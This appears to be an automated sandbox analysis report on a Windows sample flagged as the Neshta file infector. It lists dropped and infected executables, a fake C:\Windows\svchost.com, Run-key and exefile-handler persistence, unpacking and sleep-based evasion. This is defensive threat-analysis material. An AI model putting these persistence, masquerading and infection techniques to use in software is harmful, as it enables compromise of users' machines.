Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Mutant created: \Sessions\1\BaseNamedObjects\37238328-1324242-5456786-8fdff0-67547552436675
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Mutant created: \Sessions\1\BaseNamedObjects\MutexPolesskayaGlush. svchost.com n X . t N t h ` T 5 @

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00B97919 FindResourceW,LoadResource,LockResource,SizeofResource,FreeResource,

1_2_00B97919

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: wYWdigdSjn.exe

Static file information: File size 1149440 > 1048576

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Unpacked PE file: 1.2.wYWdigdSjn.exe.b00000.0.unpack .text:EW;.rdata:W;.data:W;.rsrc:W;.reloc:W;.ask:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:W;.reloc:W;.ask:EW;.adata:EW;
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Unpacked PE file: 6.2.wYWdigdSjn.exe.b00000.0.unpack .text:EW;.rdata:W;.data:W;.rsrc:W;.reloc:W;.ask:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:W;.reloc:W;.ask:EW;.adata:EW;
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Unpacked PE file: 16.2.wYWdigdSjn.exe.b00000.0.unpack .text:EW;.rdata:W;.data:W;.rsrc:W;.reloc:W;.ask:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:W;.reloc:W;.ask:EW;.adata:EW;

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00D9B00A push ebp; ret	1_2_00D9B00D
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00C892F5 push ecx; ret	1_2_00C89308
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00C8149E push ecx; ret	1_2_00C814B1
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00C866B9 push ecx; ret	1_2_00C866DA
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Code function: 12_3_022F2E0E push ebp; ret	12_3_022F2E11
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Code function: 12_3_022F2E18 push 00000000h; ret	12_3_022F3229

Source: wYWdigdSjn.exe.0.dr	Static PE information: section name: .ask
Source: wYWdigdSjn.exe.0.dr	Static PE information: section name: .adata

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00CD3B2F LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00CD3B2F

Source: initial sample

Static PE information: section where entry point is pointing to: .ask

Source: initial sample

Static PE information: section name: .text entropy: 7.999735953883561

Persistence and Installation Behavior

Yara detected Neshta

Source: Yara match	File source: wYWdigdSjn.exe, type: SAMPLE
Source: Yara match	File source: 0.0.wYWdigdSjn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.508821762.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wYWdigdSjn.exe PID: 3932, type: MEMORYSTR
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\svchost.com, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, type: DROPPED
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\ChromeSetup.exe, type: DROPPED
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Jump to behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

File created: C:\Windows\svchost.com

Jump to dropped file

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	Jump to behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

File created: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

Executable created and started: C:\Windows\svchost.com

Jump to behavior

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Jump to dropped file

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	File created: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\Users\user\Downloads\ChromeSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\Windows\svchost.com	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File created: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Jump to dropped file

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

File created: C:\Windows\svchost.com

Jump to dropped file

Boot Survival

Yara detected Neshta

Source: Yara match	File source: wYWdigdSjn.exe, type: SAMPLE
Source: Yara match	File source: 0.0.wYWdigdSjn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.508821762.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wYWdigdSjn.exe PID: 3932, type: MEMORYSTR
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\svchost.com, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, type: DROPPED
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\ChromeSetup.exe, type: DROPPED
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command NULL

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MyStart	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MyStart	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MyStart	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MyStart	Jump to behavior

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5268	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5156	Thread sleep count: 412 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5156	Thread sleep time: -18000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5156	Thread sleep count: 473 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 4672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5256	Thread sleep count: 134 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5256	Thread sleep count: 602 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5256	Thread sleep count: 579 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5256	Thread sleep time: -18000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 996	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5444	Thread sleep count: 617 > 30
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5444	Thread sleep count: 1049 > 30
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5444	Thread sleep time: -36000000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe TID: 5444	Thread sleep count: 414 > 30

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-23378

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\ChromeSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Dropped PE file which has not been started: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Thread delayed: delay time: 18000000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Thread delayed: delay time: 18000000			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Window / User API: threadDelayed 412	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Window / User API: threadDelayed 473	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Window / User API: threadDelayed 602	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Window / User API: threadDelayed 579	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Window / User API: threadDelayed 617
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Window / User API: threadDelayed 1049
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Window / User API: threadDelayed 414

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00B5CB30 GetSystemInfo,

1_2_00B5CB30

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Thread delayed: delay time: 18000000			Jump to behavior
